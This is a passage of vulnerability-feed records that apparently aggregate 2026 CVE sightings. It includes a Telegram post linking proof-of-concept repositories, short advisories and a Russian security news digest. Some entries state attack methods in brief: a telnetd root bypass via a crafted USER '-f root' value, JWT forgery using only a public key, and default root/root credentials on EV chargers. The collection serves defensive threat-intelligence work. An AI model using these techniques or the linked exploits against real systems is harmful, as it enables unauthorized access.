analysis.\n\n1\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd Remote Authentication Bypass\n\n\ud83d\udd17 PoC\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability in GNU inetutils telnetd allows attackers to bypass authentication.\nBy sending a crafted USER environment variable (-f root) through the NEW_ENVIRON telnet option, attackers can obtain a root shell without credentials.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root access\n\u2022 CVSS 9.8 (Critical)\n\n2\ufe0f\u20e3 CVE-2026-27831\n\ud83c\udfaf rldns Heap Out-of-Bounds Read (DoS)\n\n\ud83d\udd17 PoC\nhttps://github.com/bluedragonsecurity/CVE-2026-27831-POC\n\n\ud83e\udde0 Overview\nA heap-based out-of-bounds read vulnerability in rldns DNS server version 1.3 can trigger a crash and denial-of-service condition.\nThe flaw occurs during DNS request processing and may lead to memory access violations.\n\n\u2699\ufe0f Impact\n\u2022 DNS server crash\n\u2022 Denial of Service\n\u2022 Memory safety issue\n\n3\ufe0f\u20e3 CVE-2026-22444\n\ud83c\udfaf Apache Solr RCE / NTLM Hash Disclosure\n\n\ud83d\udd17 PoC\nhttps://github.com/dptsec/CVE-2026-22444\n\n\ud83e\udde0 Overview\nA vulnerability in Apache Solr (8.6 \u2013 9.10.0) allows attackers to trigger remote command execution or expose NTLM hashes in certain Windows standalone deployments.\nPublic PoC scripts demonstrate exploitation scenarios.\n\n\u2699\ufe0f Impact\n\u2022 Remote Code Execution\n\u2022 NTLM hash leakage\n\u2022 Server compromise\n\n4\ufe0f\u20e3 CVE-2026-21509\n\ud83c\udfaf Microsoft Office Security Feature Bypass\n\n\ud83d\udd17 PoC\nhttps://github.com/gavz/CVE-2026-21509-PoC\n\n\ud83e\udde0 Overview\nA research PoC demonstrates how specially crafted DOCX files with embedded OLE artifacts can bypass certain security protections in Microsoft Office environments.\nThe PoC is designed primarily for EDR / AV detection testing in isolated labs.\n\n\u2699\ufe0f Impact\n\u2022 Security feature bypass\n\u2022 Potential malware delivery vector\n\n5\ufe0f\u20e3 CVE-2026-29000\n\ud83c\udfaf pac4j-jwt Authentication Bypass (CVSS 10)\n\n\ud83e\udde0 Overview\nA critical vulnerability in the pac4j-jwt authentication library allows attackers to forge JWT tokens using only the public key.\nThis enables attackers to authenticate as any user, including administrators, without knowing a secret.\n\n\u2699\ufe0f Impact\n\u2022 Complete authentication bypass\n\u2022 Account takeover\n\u2022 CVSS 10.0 Critical\n\n\ud83d\udcda Research Value\nThese PoC repositories can be used for:\n\u2022 Vulnerability research\n\u2022 Exploit development study\n\u2022 Patch diff analysis\n\u2022 Red team / blue team training\n\u2022 Secure coding research\n\n\u26a0\ufe0f Ethical Notice\nThis information is shared for cybersecurity research and defensive analysis only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:08.842389Z"}, {"uuid": "23246a03-3b60-45a4-ad43-86b6bc00ec54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27135", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:48:14.444215Z"}, {"uuid": "0891f7d6-4bb3-4d03-b4c9-9f7eb068090e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27470", "type": "published-proof-of-concept", "source": "https://t.me/cve0day/244", "content": "CVE-2026-27470\n\nNone\n\nGitHub Link:\nhttps://github.com/kocaemre/CVE-2026-27470", "creation_timestamp": "2026-08-29T00:00:29.942674Z"}, {"uuid": "a1c36d8d-b9e9-4920-a996-1b28cdaa4f4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27579", "type": "published-proof-of-concept", "source": "https://t.me/cve0day/257", "content": "CVE-2026-27579\n\nGitHub Link:\nhttps://github.com/AdityaBhatt3010/CVE-2026-27579-CORS-Misconfiguration-Leading-to-Authenticated-Data-Exposure", "creation_timestamp": "2026-08-29T00:00:30.106029Z"}, {"uuid": "955648fe-182b-4a22-a12d-7b78d392176e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27607", "type": "published-proof-of-concept", "source": "https://t.me/cve0day/249", "content": "CVE-2026-27607\n\nGitHub Link:\nhttps://github.com/nikeee/CVE-2026-27607", "creation_timestamp": "2026-08-29T00:00:30.051192Z"}, {"uuid": "cb7c0732-99d0-440b-83ad-87f2f27d89c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27797", "type": "published-proof-of-concept", "source": "https://t.me/cve0day/276", "content": "CVE-2026-27797\n\nHomarr is an open-source dashboard. Prior to version 1.54.0, an unauthenticated Server-Side Request Forgery (SSRF) vulnerability allows a remote attacker to force the Homarr server to perform arbitrary outbound HTTP requests. This can be used as an internal network access primitive (e.g., reaching loopback/private ranges) from the Homarr host/container network context. This issue has been patched in version 1.54.0.\n\nhttps://github.com/homarr-labs/homarr/commit/91fc5a5c747121475a50f2713d571ceb89e95257", "creation_timestamp": "2026-08-29T00:00:30.351388Z"}, {"uuid": "3df32904-97be-4d57-b7f4-e6867400c3ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27577", "type": "published-proof-of-concept", "source": "https://t.me/cve0day/274", "content": "Headline: CISA Flags Actively Exploited n8n RCE Bug as 24,700 Instances Remain Exposed\n\nSummary: The article details a critical remote code execution (RCE) vulnerability (CVE-2025-68613) in the n8n workflow automation platform, added to CISA's Known Exploited Vulnerabilities (KEV) catalog due to active exploitation. The flaw, patched in n8n versions 1.120.4 and later, allows authenticated attackers to execute arbitrary code with host privileges, risking full instance compromise. Over 24,700 unpatched instances remain exposed globally, with significant numbers in North America and Europe. CISA's inclusion follows n8n's disclosure of another critical flaw (CVE-2026-27577) in the same system. Federal agencies under a Binding Operational Directive must patch systems by March 25, 2026, to address risks of data theft, workflow tampering, or system-level access via unmitigated exploitation.\n\nURL: https://thehackernews.com/2026/03/cisa-flags-actively-exploited-n8n-rce.html", "creation_timestamp": "2026-08-29T00:00:30.417295Z"}, {"uuid": "c98ef985-b09b-49bf-8a67-81ebc9acd55f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27409", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mrpxlg5nyw2e", "content": "CVE-2026-27409 webba-booking-lite (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-07-28T17:44:09.196800Z"}, {"uuid": "81851297-ce09-430c-ba04-5955dca69e42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27577", "type": "seen", "source": "https://t.me/true_secator/8452", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c \u0441 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0438 \u0443\u0433\u0440\u043e\u0437\u0430\u043c\u0438, \u043a\u043e\u0438\u0445 \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043c\u043d\u043e\u0433\u043e. \u041f\u043e \u043f\u043e\u0440\u044f\u0434\u043a\u0443:\n\n1. STAR Labs \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u044f\u0434\u0440\u0430 Linux, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 root-\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0431\u043e\u0440\u043a\u0435 CentOS Stream 9.\n\nCVE-2026-53264 (CVSS: 7.8), \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u0438\u0437-\u0437\u0430 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0442\u0440\u0430\u0444\u0438\u043a\u043e\u043c \u044f\u0434\u0440\u0430. \u041d\u0430\u0439\u0442\u0438 \u043e\u0448\u0438\u0431\u043a\u0443 \u0438 \u0443\u0441\u043a\u043e\u0440\u0438\u0442\u044c \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u043f\u043e\u043c\u043e\u0433 \u0418\u0418.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0432\u0435\u0442\u043a\u0435 \u0431\u044b\u043b\u043e \u0432\u043d\u0435\u0441\u0435\u043d\u043e 1 \u0438\u044e\u043d\u044f 2026 \u0433\u043e\u0434\u0430. \u0423\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u044b, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 Linux 4.14. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0440\u0435\u043b\u0438\u0437\u044b: 5.10.259, 5.15.210, 6.1.176, 6.6.143, 6.12.94, 6.18.36 \u0438 7.0.13, \u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0432\u0435\u0442\u043a\u0435 \u0432\u043e\u0448\u043b\u043e \u0432 7.1-rc7.\n\n2. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Lava, \u0411\u043e\u043b\u0435\u0435 24 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432, \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u0445 \u043a \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0443, \u0442\u0435\u0440\u044f\u044e\u0442 \u0445\u044d\u0448\u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438\u0437-\u0437\u0430 CVE-2013-4786 (\u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0439 \u0441\u043e\u0431\u043e\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 IPMI 2.0, \u043a\u043e\u0440\u0435\u043d\u044f\u0449\u0438\u0439\u0441\u044f \u0432 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435, \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u043e\u043c \u0432 2004 \u0433\u043e\u0434\u0443) \u0432 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043c\u0430\u0442\u0435\u0440\u0438\u043d\u0441\u043a\u043e\u0439 \u043f\u043b\u0430\u0442\u043e\u0439 (BMC).\n\n3. Arista \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 CVE-2026-16812 \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f\u0445 VeloCloud Orchestrator, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u043c \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\n4. Apple \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 87 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 iOS \u0438 155 \u0432 macOS Tahoe. \u0412 macOS Sequoia 15.7.8 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b 138 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0430 \u0432 macOS Sonoma 14.8.8 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043e 127 \u043f\u0440\u043e\u0431\u043b\u0435\u043c.\n\n\u041e\u0441\u043e\u0431\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u0437\u0430\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u0435\u0442 CVE-2026-43810, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 Apple \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0432\u0440\u0435\u0434\u0438\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u044c \u044f\u0434\u0440\u0430, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0435\u043d\u044f\u0435\u0442 \u044d\u043a\u043e\u043d\u043e\u043c\u0438\u043a\u0443 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0430\u0442\u0430\u043a\n\n5. GitHub \u0438 PyPI \u0432\u043d\u0435\u0434\u0440\u0438\u043b\u0438 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 Dependabot \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c, \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0430\u0442\u0430\u043a \u043d\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438\u0445 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0439.\n\n6. \u0412 n8n\u00a0\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (GHSA-gv7g-jm28-cr3m), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043e\u0431\u043e\u0439\u0442\u0438 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0443 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0443\u044e \u0441\u043e\u0431\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0433\u043b\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0443 \u0440\u0430\u0431\u043e\u0447\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u041e\u0421 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\nSecurity Joes \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438\u0437\u0443\u0447\u0430\u044f \u0444\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u043e\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 n8n \u043d\u0430\u00a0\u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 CVE-2026-27577.\n\n7. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 macOS \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043d\u0435\u0437\u0430\u043c\u0435\u0442\u043d\u043e \u0437\u0430\u043c\u0435\u043d\u044f\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0435\u0439, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0438\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430.\n\n\u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0430\u0440\u0445\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u041f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f. Apple \u043d\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0435 \u0441\u043e\u0447\u043b\u0430 \u0435\u0451 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n8. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c ERPNext, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a. \u042d\u0442\u043e \u043e\u0434\u043d\u0430 \u0438\u0437 \u0447\u0435\u0442\u044b\u0440\u0435\u0445 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0438\u043c\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435.\n\n9. CVE-2026-9039 \u0432 \u0437\u0430\u0440\u044f\u0434\u043d\u044b\u0445 \u0441\u0442\u0430\u043d\u0446\u0438\u044f\u0445 XCharge EV \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Sailflow, \u043f\u0440\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u044f \u043a \u0440\u0430\u0437\u044a\u0435\u043c\u0443 \u043d\u0430 \u0437\u0430\u0440\u044f\u0434\u043d\u043e\u0439 \u0441\u0442\u0430\u043d\u0446\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 SSH-\u0441\u0435\u0440\u0432\u0438\u0441.\n\nSSH-\u0441\u0435\u0440\u0432\u0435\u0440 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e root/root. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u044b\u0445 \u043f\u043e\u0434\u0437\u0430\u0440\u044f\u0434\u043e\u043a, \u043d\u0430\u043d\u0435\u0441\u0435\u043d\u0438\u044f \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0443\u0449\u0435\u0440\u0431\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044f \u0432 \u0441\u0435\u0442\u044c \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430.\n\n10. CSRF-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0430\u0433\u0435\u043d\u0442\u0430\u0445 Workspace \u043e\u0442 OpenAI \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0446\u0435\u043b\u044b\u0439 (\u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439) \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u044b\u0439 \u0430\u0433\u0435\u043d\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0436\u0438\u0442\u044c \u0432 \u0432\u0430\u0448\u0435\u0439 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435.", "creation_timestamp": "2026-07-29T00:00:12.560197Z"}, {"uuid": "02046359-f893-4201-9343-727f574d9ffb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 